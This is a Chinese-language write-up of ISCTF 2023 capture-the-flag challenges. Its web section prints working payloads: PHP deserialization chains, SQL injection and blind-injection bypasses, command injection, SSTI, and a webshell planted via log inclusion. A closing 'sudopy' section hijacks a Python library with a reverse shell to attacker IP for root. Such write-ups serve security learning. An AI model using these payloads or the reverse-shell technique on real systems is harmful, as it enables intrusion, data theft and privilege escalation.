ISCTF 2023
web
圣杯战争!!!
php 反序列化
1 |
|
POP 链:summon->artifact->prepare->saber
EXP:
1 |
|
?payload=O:6:“summon”:2:{s:5:“Saber”;O:8:“artifact”:2:{s:10:“excalibuer”;O:7:“prepare”:1:{s:7:“release”;O:5:“saber”:1:{s:6:“weapon”;s:57:“php://filter/read=convert.base64-encode/resource=flag.php”;}}s:5:“arrow”;N;}s:5:“Rider”;N;}
where_is_the_flag
rce
当前目录下一个
根目录下一个
环境变量里一个
绕进你的心里
md5 绕过,正则回溯绕过
md5和第一个preg都用数组绕过
然后第二个preg和strpos组合的话用正则回溯绕过
payload:
1 | import requests |
easy_website
sql 注入
同款题:[SWPUCTF 2022 新生赛]ez_sql
过滤 or select 用双写绕过
空格用/**/绕过
查当前库
查当前库下的表
列出全部列的内容,最后发现是 password 里有 flag
payload:
**
POST:
username=0’/**/uunionnion/**/sselectelect/**/group_concat(passwoorrd)/**/from/**/users.users/**/#&password=
**
Wafr
RCE
*payload:
POST:
code=system('ca\t /f’)%0a
**
webinclude
逆向算法,伪协议
打开就要参数
dirsearch 扫下备份文件
下载 index.bak 查看源码
定义了两个函数,并且利用这两个函数对原本的参数名进行了加密处理
最后加密结果为 dxdydxdudxdtdxeadxekdxea
写个逆向脚本再反求 parameter 即可
1 | const hash = 'dxdydxdudxdtdxeadxekdxea'; |
得到参数名:mihoyo
?mihoyo=php://filter/read=convert.base64-encode/resource=flag.php
伪协议直接读,解码 base64 即可
ez_ini
文件上传 .user.ini
上传.user.ini 文件
GIF89A
auto_append_file="/var/log/nginx/access.log"
UA 头添加木马:
1 | eval($_POST['shell']);? @ |
POST:
shell=system(‘tac /flag’);
fuzz!
fuzz RCE
flag 在/flaggggggg.txt 中,要 bypass
fuzz 脚本
1 |
|
排除数字和字母后只剩以下符号可用
-./:[]{|} 空格
"|"没 ban,可以放在开头结束前面的 curl,然后拼接我们自己的系统命令
flag 关键字过滤可以用"[]"正则匹配绕过
paylaod:
?file=|tac /fl[a-z]ggggggg.txt
1z_Ssql
布尔盲注
先摸索了一下,发现 union 和=号过滤
过滤等于号,改用 > 号即可
union 过滤就用不了联合查询注入了,考虑布尔盲注
admin’ and length(database()) > 1#爆破当前数据库长度
爆到 6 报错,说明当前数据库长度为 6
继续爆库名
从第一位开始,从 a 字母开始
admin’ and substr(database(),1,1) > ‘b’ #第一位为b
admin’ and substr(database(),2,1) > ‘t’ #第二位为t
后面爆出当前库名字就是出题人名字:bthcls
附件拿到两个字典,应该是表和列的,使用 bp 来爆破
admin’ and substr((select §xx§ from bthcls.§xx§ limit 0,1),1,1)>‘a’ #
根据返回长度找到对应表 列
得到 bthcls.users.password 有值
爆数据,字典为 32-127 纯数字(可打印字符的 ascii 十进制值)
admin’and ascii(substr((select group_concat(password)from bthcls.users limit 0,1),1,1))>§32§ #
得到第一位的 asciii 码十进制为 119
后续相同操作一直爆,最后爆出完整密码:119 101 49 99 111 109 101 55 111 49 115 99 116 102
对应字符:we1come7o1sctf
账号:admin
密码:we1come7o1sctf
恐怖 G7 人
ssti
无过滤 ssti,直接注入,flag 在环境变量里
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}
MISC
签到题
二维码拼接
附件拿到 PS 拼接
扫码回复题目要求信息即可得到 flag
杰伦可是流量明星
流量分析
拿到 mp3 文件,binwalk 出一个压缩包
wireshark 打开
在 tcp.stream eq 2 中找到 flag
你说爱我?尊嘟假嘟
Ook! base64
你说爱我替换为 Ook.
尊嘟替换为 Ook!
假嘟替换为 Ook?
https://www.splitbrain.org/services/ook
解得:
ild3l4pXejwPcCwJsPAOq7sJczdRdTsJcCEUsP1Z
再 base64 解密
easy_zip
密码爆破
6 位数字爆破密码即可
蓝鲨的福利
png 文件头
010 打开添加 89504E47 后保存为 png 文件打开即可
EZcrc
crc 爆破
附件拿到 zip 文件
https://github.com/AabyssZG/CRC32-Tools
Python xxx.py -3 文件名(zip 放同目录下)
工具提取下 crc 值
排下顺序
1 | # 读取整个文本文件内容 |
改为标准格式
1 | import re |
爆破脚本 blog.csdn.net
1 | import zlib |
手工分离一下
字母表:https://www.xuezimu.com.cn/info/26zimu.php
对照翻译后得到
U1ZORFZFWjdNV1EzTnpjMVpXUXRZV1JoTUMwMFl6WTNMV0l4T0RVdE1HSXpZelF4WXpsa05tUXlmUT09
两段 base64 解密得到 flag
镜流
密码爆破,像素提取,lsb 隐写
bandizip 爆破压缩包密码
查看 hint:
想起了 GDOUCTF2023 的题目了
2023 广东海洋大学 GDOUCTF Writeup By AheadSec_末 初的博客-CSDN 博客
借用师傅的脚本,改 12 为 10 即可
1 | from PIL import Image |
提取出一个新的 png 图片
zsteg 查看发现还藏了一张图在 lsb 最低位处
zsteg -e b1,rgb,lsb,xy ok.png -> out.png 提取出来得到 flag
ezUSB
蓝牙流量,usb 流量
wireshark 分析流量特征,发现有蓝牙和 usb 流量
tshark- T json -r 题目.pcapng >output.json
提取数据以 json 格式
usb 流量:
strings output.json | grep “usbhid.data”>1.txt(提取 usb 流量)
去掉字段名和开头的 01 字节,并取随后的 8byte 保存
1 | #!/usr/bin/env python |
得到后半段 flag
收集删除的字符可以发现 key:soezusb
蓝牙流量:
strings output.json | grep “btatt.value”>2.txt
修改下格式后保存,依旧使用上面的脚本
先进行 flag 连接:
AGGSZ{Kp_wn_YRV_SOV_JMFYFFJS!!!}
key:soezusb
维吉尼亚密码
ISCTF{So_ez_USB_AND_VIGENERE!!!}
小蓝鲨的秘密
伪加密,宽高隐写,aes 加密
伪加密
改两个 00 即可
png 图片拉下宽高
得到 key:15CTF2023
解密 AES 即可
Ez_misc
ppt 隐写,jpg 文件头
拿到附件
ppt 最后一张图备注处拿到密码:M13c_!ps2s23
解压 flag.zip 后发现 jpg 文件打不开
010 打开后发现文件头缺失,补充即可
打开得到二维码,扫码得到 flag
spalshes
散点图
预期解:
解密文本拿到点坐标
1 | import matplotlib.pyplot as plt |
拿到密码后解压得到二维码,扫码获得 flag
非预期解:
直接爆破 6 位纯数字
出题人年轻了
张万森,下雪了
字典爆破,base64 套娃,字频统计,SNOW 隐写
附件拿到 zip 和字典
字典爆破出密码:blueSHARK666
结合题目推测 flag.txt 内有 snow 隐写
hint.txt 先进行 base64 17 次解密后再进行字频统计得到密码:ISCTFZ023
snow 解密即可
MCSOG-猫猫
零宽隐写
在群里发送指定消息
复制信息到 vim 中发现有零宽隐写
https://www.mzy0.com/ctftools/zerowidth1/
勾选 200C 202C 200E 即可
stream
盲注日志分析
发现是盲注流量,Tshark 提取一下
tshark -r xxx.pcapng -Y “http.request” -T fields -e http.request.full_uri > data.txt
删除一些其他数据并 url 解码后就得到完整的盲注日志了
1 | # 读取输入文件 |
PNG 的基本食用
宽高 lsb binwalk
图 1 修复宽高
得到第一段 flag
ISCTF{png-is-
图 2 lsb 最低位
so-ez-
图 3 binwalk 分离出压缩包
解压得到第三段
for-you}
ISCTF{png-is-so-ez-for-you}
sudopy
python 库 提权 反弹 shell
ssh -p 21269 ctf@43.249.195.138mailto:ctf@43.249.195.138
password:ctf
连接题目后,先 pwd 查看当前位置
ls -al 发现 flag 和一个 web.py 文件
但是 flag 得 root 才能访问
sudo -l 显示出自己(执行 sudo 的使用者)的权限
发现/usr/bin/python3 /home/ctf/web.py 这样是可以 sudo 运行不需要密码的
看下 web.py 的内容
导入了一个叫 webbrowser 的库
找下它的位置
Linux 权限提升:Python 库劫持 - FreeBuf 网络安全行业门户
根据文章提到的操作,在 webbrowser.py 里放入反弹 shell
vim /usr/lib/python3.10/webbrowser.py
反弹shell:import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“攻击机ip”,监听端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,“-i”]);
保存后退出,同时再开个终端连 vps,连上后 nc -lvnp 端口 开启监听
然后在靶机处执行命令:sudo /usr/bin/python3 /home/ctf/web.py
成功连接,并且是 root 权限
接着 cd /home/ctf 后 cat flag 即可